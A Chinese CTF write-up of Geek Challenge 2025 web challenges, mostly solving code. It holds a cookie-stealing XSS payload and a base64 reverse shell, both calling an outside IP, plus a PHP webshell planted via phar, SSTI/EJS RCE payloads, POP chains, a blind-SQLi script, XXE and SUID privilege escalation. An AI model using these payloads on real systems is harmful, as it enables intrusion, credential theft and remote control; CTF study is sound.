前言
太难了,还是太菜了,赶紧复现一下
Web
阿基里斯追乌龟
知识点:js代码审计
简单的js代码审计
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
const payload = {
achilles_distance: 11111111111.11, // 超过收敛值
tortoise_distance: 10000000000.00, // 稍微小一点
};
fetch('/chase', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ "data": encryptData(payload) }),
})
.then(response => response.json())
.then(encryptedResponse => {
if (encryptedResponse.data) {
const data = decryptData(encryptedResponse.data);
console.log("服务器响应:", data);
if (data.flag) {
resultDiv.style.whiteSpace = 'pre-wrap';
resultDiv.textContent = `你追上它了!\n${data.flag}`;
chaseBtn.disabled = true;
}
}
});
|

Vibe SEO
知识点:sitemap.xml、fd流
界面没有功能点dirsearch扫一下

进入后发现可疑文件

访问后发现存在变量filename

简单测试发现可以文件读取,并且存在限长。尝试读取自身

发现开了一个fd,我们可以直接读取fd
解析一下文件描述符 (File Descriptor)
一、文件描述符 (fd) 的本质
-
核心概念:
- 文件描述符(fd)是操作系统内核分配给每个打开文件的唯一整数标识符
- 本质是进程文件表(Per-Process File Table)的索引值
- 所有 I/O 操作(读/写)都通过 fd 与内核交互
关键特性:
- 内核级持久性:只要进程不关闭 fd,即使原始文件被删除,仍可通过 fd 读取内容
- 跨权限访问:通过
/dev/fd 访问时绕过文件系统权限检查(依赖进程自身权限)
- 虚拟文件系统:
/dev/fd 是内核提供的虚拟接口,不占用实际磁盘空间
然后两位数爆破即可(写的时候一直以为是一位数爆破,真是无语了)

Xross The Finish Line
知识点:过滤xss
一眼xss自己写的字典,看看过滤

也可以用一些完整的payload进行测试,这个302的就是成功执行了的(后面还有很多)

(别问为什么换bp了)
这里有很多195是没被waf,但是没当成js代码嵌入的

找到一个

然后就可以构造语句打xss了
1
|
<svg/onload=location=`http://101.201.79.208/`+document.cookie>
|
xss的waf真挺难过滤的,一直不太懂JS找个时间真要好好搞一下

popself
知识点:双重md5绕过,回调函数调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
|
<?php
show_source(__FILE__);
error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";
$fox = $this->Fox;
if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}
public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){
echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}
public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}
public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}
class summer {
public static function find_myself(){
return "summer";
}
}
$payload = $_GET["24_SYC.zip"];
if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}
?>
|
链子挺简单的,中间绕过有点意思,一个是双重md5绕过,一个是调用静态函数
双重md5只能弱比较绕过,0e绕过就行,这里注意要0e开头后面全为数字。
脚本就不给了,记录一下可以用的值就行
1
2
3
|
jdk45GyM //双md5后值复合
s878926199a
|
接下来看那个静态函数
这里if条件规定了fox不能是All_in_one的成员变量,然后fox()的值为summer,这里用array('summer', 'find_myself');调用summer类的静态函数就行
1
|
if ( !($fox instanceof All_in_one) && $fox()==="summer")
|
poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
|
<?php
error_reporting(0);
class All_in_one
{
public $KiraKiraAyu = "jdk45GyM";
public $_4ak5ra;
public $K4per = "s878926199a";
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";
$fox = $this->Fox;
if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}
public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){
echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}
public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}
public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}
class summer {
public static function find_myself(){
return "summer";
}
}
$a = new All_in_one();
$a -> QYQS = new All_in_one();
$a -> QYQS -> Fox = array('summer', 'find_myself'); //为什么不能用summer::find_myself()
$a -> QYQS -> komiko = new All_in_one();
$a -> QYQS -> L = "9e9"; //注意是谁的L 是L不是sleep3r是因为L在前就是数组的第一个
$a -> QYQS -> sleep3r = new All_in_one(); //注意是谁的sleep3r
$a -> QYQS -> sleep3r -> _4ak5ra = new All_in_one();
$a -> QYQS -> sleep3r -> _4ak5ra -> Samsāra = "system";
$a -> QYQS -> sleep3r -> _4ak5ra -> ivory = "env";
echo urlencode(serialize($a));
|
解释一下为什么不能用summer::find_myself()
1
2
3
4
5
|
array('summer', 'find_myself') 是一个数组形式的可调用结构
'summer::find_myself' 是字符串形式的静态方法调用
但在 __invoke() 中的调用方式 $f($arg) 需要的是一个直接可调用的实体
|

Expression
知识点:JWT爆破、EJS模板注入
注册后直接爆破JWT,Tscanplus好用

改成用户名改成admin也没啥作用,但是会显示出来,推测这个是个模板注入,根据题目名Expression猜测应该是nodejs EJS的模板注入
这里讲解一下EJS模板注入
首先是标签,当用户输入<%-、<%=时,就会导致SSTI
| 标签 |
描述 |
示例 |
<% |
执行JavaScript代码 |
<% console.log('test') %> |
<%= |
输出转义的HTML |
<%= userInput %> |
<%- |
输出原始HTML(不转义) |
<%- userInput %> |
<%# |
注释 |
<%# This is a comment %> |
可以执行代码就可以尝试rce了,可以rce就可以拿shell
尝试
1
2
3
|
<%=7*7%>
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjExMUBxcS5jb20iLCJ1c2VybmFtZSI6IjwlPTcqNyU-IiwiaWF0IjoxNzY2MDY1NDU5LCJleHAiOjE3NjY2NzAyNTl9.w_LZjWlV6V458VZCRigQf0IllIcE1A5_BRcqpdHZspw
|

ls一下
1
|
<%- global.process.mainModule.require('child_process').execSync('ls /') %>
|

在env中
1
|
<%= global.process.mainModule.require('child_process').execSync('env') %>
|

值得一提的是,EJS模板注入经常于原型链污染一起考,还有过一个历史漏洞,这里打算后续出一道相关题目写一下
one_last_image
知识点:文件上传
怎么tm这么简单,当初写的时候怎么没想着这么写,mime绕一下就行



ez_read
知识点:文件读取绕过、ssti绕过(二开代理脚本)
文件读取的功能点,测试下来可以读取passwd

读不到flag试试读环境变量,读到了奇奇怪怪的东西

拿给ai看看,ai说是存在docker逃逸
/var/run/docker.sock 是Docker守护进程的通信接口,拥有这个socket等同于拥有在宿主机上运行任意容器的权限。
但是后来了解到这个docker逃逸应该是先拿下容器的shell,然后进一步拿下运行docker服务的服务器shell,所以这里应该不是这个考点
后来尝试读取源码,这里要多进行尝试。可以从下面这个角度入手,可以发现是将../替换为空了。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
|
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os
app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"
USERS = {}
def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""
if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")
return payload
@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)
try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)
@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))
base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []
filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""
content = None
error = None
if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)
|
审计源码,发现在 /profile 中存在ssti

发现有waf
1
|
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
|
打武器库的时候发现会报错,搞了很久看wp的时候才发现这里居然还限制长度,要求长度要有114。wnm
1
2
|
if len(payload) not in (114, 514):
return payload.replace("(", "")
|
很奇怪就是,我用别人的payload打一点用处都没有,于是我干脆用ai写了一个网站转发脚本,然后用fenjing测试自己的这个网站。一方面可以用代码解决限制长度的waf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
from flask import Flask, request, Response
import requests
import re
import urllib.parse
app = Flask(__name__)
# 目标URL - 请修改为实际目标
TARGET_BASE = "http://8080-315bfacf-b827-4941-bc8b-1b42394c52ff.challenge.ctfplus.cn/"
@app.route("/")
def forward():
# 从请求参数中获取name
name = request.args.get("name")
# 如果没有提供name参数,返回使用说明
if not name:
return '''
<h1>SSTI WAF绕过代理</h1>
<p>使用方法: /?name=你的payload</p>
<p>示例: /?name={{config.__class__}}</p>
<p>fenjing调用: /?name={{config.__class__}}</p>
'''
try:
# 处理payload绕过WAF - 填充到114/514长度
current_len = len(name)
if current_len not in (114, 514):
# 选择最接近的目标长度
target_len = 114 if abs(current_len - 114) < abs(current_len - 514) else 514
name = name + 'a' * (target_len - current_len)
# 注册和登录
s = requests.Session()
password = "1"
# 注册用户(用户名就是payload)
s.post(f"{TARGET_BASE}/register",
data={"username": name, "password": password}, timeout=5)
# 登录
s.post(f"{TARGET_BASE}/login",
data={"username": name, "password": password}, timeout=5)
# 访问profile页面
r = s.get(f"{TARGET_BASE}/profile", timeout=5)
# 提取"欢迎,"后面的内容
# 先尝试匹配<div class="rendered">...</div>
m = re.search(r'<div class="rendered">(.*?)</div>', r.text, re.DOTALL)
if m:
content = m.group(1)
else:
# 如果没有找到,尝试其他模式
content = r.text
# 查找"欢迎,"并提取后面的内容
idx = content.find("欢迎,")
if idx != -1:
result = content[idx + len("欢迎,"):].strip()
# 移除可能存在的HTML标签
result = re.sub(r'<[^>]+>', '', result)
return Response(result, content_type="text/plain; charset=utf-8")
return "未找到结果", 404
except Exception as e:
return f"错误: {str(e)}", 500
if __name__ == "__main__":
app.run("0.0.0.0", 5000, debug=True)
|
这真是个很好的思路,因为fenjing会被限制于回显和间接ssti,以后有源码的ssti,都可以二开一次再用fenjing跑一下。无源码的也可自己写脚本,就是有点看代码功底了

读flag的时候发现读不到,可能要提权

用find 查找一下拥有root权限的文件
1
|
find / -user root -perm -4000 -print 2>/dev/null
|
可以发现有env前面其实也读到了env有提示说要提权

搜一下利用方式
https://gtfobins.github.io/

尝试了下后发现是上面那个
1
|
/usr/local/bin/env cat /flag
|

ez-seralize
知识点:文件读取,phar+文件读取
又是一个文件读取题,查看源码有提示是在/var/www/html目录下,那么直接读取index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;
$content = null;
$error = null;
if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}
if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
|
审计发现有一个function.php,当你传入参数serialized的时候,就会包含这个文件,我们当然选择先去读一下,读出来就是一个简单的反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
<?php
class A {
public $file;
public $luo;
public function __construct() {
}
public function __toString() {
$function = $this->luo;
return $function();
}
}
class B {
public $a;
public $test;
public function __construct() {
}
public function __wakeup()
{
echo($this->test);
}
public function __invoke() {
$this->a->rce_me();
}
}
class C {
public $b;
public function __construct($b = null) {
$this->b = $b;
}
public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}
|
pop链很好构造,但是问题是,构造出来的pop链并没有unserialize来进行反序列化。根据文件读取,我有想过搞成phar文件然后根据文件读取解析。但是最后生成的文件又该怎么传上去?
继续读取文件获取信息,根据之前源码里的uploads目录,可以找到uploads.php

这道题就显而易见,是通过生成phar文件然后改后缀为zip 上传。最后用phar协议解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
<?php
class A {
public $file;
public $luo;
public function __construct() {
}
public function __toString() {
$function = $this->luo;
return $function();
}
}
class B {
public $a;
public $test;
public function __construct() {
}
public function __wakeup()
{
echo($this->test);
}
public function __invoke() {
$this->a->rce_me();
}
}
class C {
public $b;
public function __construct($b = null) {
$this->b = $b;
}
public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}
$a = new B();
$a->test = new A();
$a -> test -> luo = new B();
$a -> test -> luo -> a = new C();
$phar = new Phar('a.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // Phar文件头
$phar->setMetadata($a); // 存储反序列化触发点
$phar->addFromString('test.txt', 'test'); // 必须添加一个文件
$phar->stopBuffering();
?>
|
成功上传,但是没路径,还是需要看一下文件名是怎么改的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
uploads.php
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];
$resultMessage = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}
$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}
$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;
file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");
$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>
|
好像会保存到log里,读一下


最后用phar协议读一下就行,记得需要有serialized
1
|
filename=phar://uploads/1766647317_a.zip/test.txt&serialized=1
|


Sequal No Uta
知识点:sqlite布尔盲注(总结了一下)
测试一下发现空格被ban了,然后布尔盲注成功

1
|
?name=admin'/**/and/**/length(database())>10--+
|
用database的时候都是否,看来不是mysql,应该是sqlite
这里发现对sqlite的熟悉度不高,学习记录一下。
首先sqlite有一个系统表sqlite_master,这个表存储了数据库的所有元数据(包括表、索引、视图、触发器、虚拟表)
然后对于每一个数据库对象,sql列存储了创建该数据的完整sql语句
也就是说,当我们进行select sql from sqlite_master时,可以读出所有表的创建语句
当然这里如果用name的话,就是可以查找到name对象有关的所有数据(表、视图……)
| 目的 |
payload示例 |
返回结果示例 |
| 所有对象名 |
select group_concat(name) from sqlite_master |
"users,products,idx_users_name,user_summary" |
| 所有表名 |
select group_concat(name) from sqlite_master where type='table' |
"users,products" |
| 表的创建语句 |
select sql from sqlite_master where type='table' and name='users' |
"CREATE TABLE users(id INTEGER, name TEXT)" |
| 所有索引名 |
select group_concat(name) from sqlite_master where type='index' |
"idx_users_name" |
脚本写出来之前,还是要说一下sqlite数据库构造盲注语句有些不一样,好像是不能用ascii吧,反正这样写就没问题
1
|
admin' AND substr((select group_concat(name) from sqlite_master where type='table'),1,1)>'R'--
|
直接脚本,不多bb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
import requests
import string
base_url = "http://80-9d6435ea-2452-4aa0-9c9b-fd88c8f6851a.challenge.ctfplus.cn/check.php"
charset = sorted(string.ascii_letters + string.digits + "._{}-,")
result = ""
pos = 1
def test_payload(payload):
payload = payload.replace(" ", "%0a")
response = requests.get(base_url, params=payload)
return "该用户存在且活跃" in response.text #判断布尔正负的条件
print("=== 开始爆破 ===")
while True:
left, right = 0, len(charset) - 1
# 二分查找当前位置的字符
while left < right:
mid = (left + right) // 2
ch = charset[mid]
payload = f"name=admin' AND substr((select group_concat(name) from sqlite_master where type='table'),{pos},1)>'{ch}'-- "
#payload = f"name=admin' AND substr((select sql from sqlite_master where type='table' and name='users'),{pos},1)>'{ch}'-- "
#payload = f"name=admin' AND substr((SELECT group_concat(secret, ',') FROM users),{pos},1)>'{ch}'-- "
if test_payload(payload):
left = mid + 1 # 目标字符在右半部分
else:
right = mid # 目标字符在左半部分(包括mid)
# left == right 时找到目标字符
if left < len(charset):
result += charset[left]
print(f"[+] 当前爆破结果: {result}")
pos += 1
else:
print("[*] 爆破结束")
break
print(f"[*] 表名: {result}")
|
以此爆破出user表和船舰user表的sql语句
1
2
3
|
users,sqlite_sequence
CREATE,TABLE,users,,,,,,,,,,,id,INTEGER,PRIMARY,KEY,AUTOINCREMENT,,,,,,,,,,username,TEXT,UNIQUE,NOT,NULL,,,,,,,,,,password,TEXT,NOT,NULL,,,,,,,,,,is_active,INTEGER,NOT,NULL,DEFAULT,1,,,,,,,,,,secret,TEXT
|

eeeeezzzzzzZip
知识点:include包含恶意phar文件
尝试爆破用户密码无果,dirsearch一下发现了好东西

源码题目必须掏出我的Seay
结构如下(没有结构)

在login.php中发现账号/密码(感觉爆破也能爆出来)
admin/guest123

进入后是可以上传zip,这很难不想到phar
用phar直接生成木马,然后压缩成gz上传,最后include一下就解决了
直接用以前的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering(); //马写在stub里面
$stub = <<<'STUB'
<?php
$filename="/var/www/html/1.php";
$content="<?php eval(\$_POST[1]);?>";
file_put_contents($filename, $content);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
$fp = gzopen("exp.phar.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);
?>
|


百年继承
知识点:原型链污染
把玩一下,发现在2的时候可以传一个json,这tm一看就是原型链污染吧


寻找一下源码,原型链污染应该不至于是黑盒。
还真是,只知道是py的原型链污染
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
上校已创建。
上校继承于他的父亲,他的父亲继承于人类
时间流逝:卷入武装起义:命运与战争交织。
时间流逝:抉择时刻:上校需要做出选择(武器与策略)。
事件:上校使用 spear,采取 ambush 策略。世界线变动...
(上校的weapon属性被赋值为spear,tactic属性被赋值为ambush)
时间流逝:宿命延续:行军与退却。
时间流逝:面对行刑队:命运的审判即将到来。
行刑队:开始执行判决。
行刑队也继承于人类
临死之前,上校目光瞄着行刑队的佩剑,上面分明写着:
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
这是人类自古以来就拥有的execute_method属性...
处决成功
时间流逝:结局:命运如沙漏般倾泻……
|
额,看wp,然后自己推了一下
首先这是人类自古以来就拥有的execute_method属性...代表着这是我们要污染的属性
上校继承于他的父亲,他的父亲继承于人类代表我们需要两个base来指向execute_method
然后我们需要理解一下
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
这短代码就是创建了一个匿名函数executor
函数体是一个元组,包含三个操作,按顺序执行:
target.__del__()
调用 target 对象的 __del__ 方法。
__del__ 是 Python 对象的析构方法,在对象被销毁时自动调用,但这里直接显式调用它(通常不推荐这样做,因为它不会真正销毁对象,只是执行其中定义的清理逻辑)。
setattr(target, 'alive', False)
将 target 对象的 alive 属性设置为 False。
'处决成功'
返回字符串 "处决成功"。
- 由于整个函数体是元组,lambda 的返回值是这个元组
(None, None, '处决成功')(因为前两个操作返回 None)。
1
2
3
4
5
6
7
8
|
{"__class__":{
"__base__":{
"__base__":{
"execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', True))"
}
}
}
}
|
可以看到处决异常,说明成功了。因为我把本来要回显的值除掉了

我们尝试修改匿名函数
1
2
3
4
5
6
7
8
|
{"__class__":{
"__base__":{
"__base__":{
"execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', True),__import__('os').popen('env').read())"
}
}
}
}
|

路在脚下/路在脚下_revenge
知识点:无回显ssti(有总结)
简单尝试,发现是有waf的ssti,而且无回显

无回显ssti一般有几种做法
- 反弹shell
- 内存马、挂载静态目录、覆盖
app.py
- 回显在响应包中
这道题里都写一下
不过写做法之前,得先把黑盒测出来,我的waf字典就测出来俩。

武器库里找到url_for是可以利用的
1
|
{{url_for["__globals__"]["o""s"]["pop"+"en"]("t""ac /f???")["re""ad"]()}}
|

那么我们只需要改变一下命令执行部分
1
|
{{url_for["__globals__"]["o""s"]["pop"+"en"]("bash${IFS}-c${IFS}\'{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAxLjIwMS43OS4yMDgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}\'")["re""ad"]()}}
|

再来试试内存马,我自己的payload一直打不进去,真是伤心,之前还花了很多时间学内存马。
不推荐打ssti的时候用内存马,因为有waf的话,真的很难排出来
这里还推荐一种新方式,就是利用http头回显
原理就先不讲了,后面更新ssti总结的时候再写
这里直接给出payload,这里稍微解释一下,因为在server层是不允许换行符存在的,你直接打ls /会报错,所以需要转换成base64编码并且加上-w0(-w0禁用换行符)
1
|
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('ls${IFS}/${IFS}|${IFS}base64${IFS}-w0').read())}}
|


运行readflag同理
1
|
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('/zzz_readflag${IFS}|${IFS}base64${IFS}-w0').read())}}
|

西纳普斯的许愿碑
知识点:python沙箱逃逸
直接给了源码
有点难,先放放
Image Viewer
知识点:利用svg进行xxe和xss
打xss的时候经常会有svg标签,其实svg这个图片格式是基于xml的二维矢量图格式,可以解析js代码,当然xml也可以。这样就衍生出了,svg打xss和xxe的打法
这道题存在svg+xml

前面和xxe差不多,但是后面需要有svg的·标签,不然会报错
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
#xxe
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY ddd SYSTEM "file:///d:/test.txt">
]>
<test>&ddd;</test>
#svg xxe
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY ddd SYSTEM "file:///flag">
]>
<svg height="220" width="574">
<text x="10" y="20">&ddd;</text>
</svg>
|
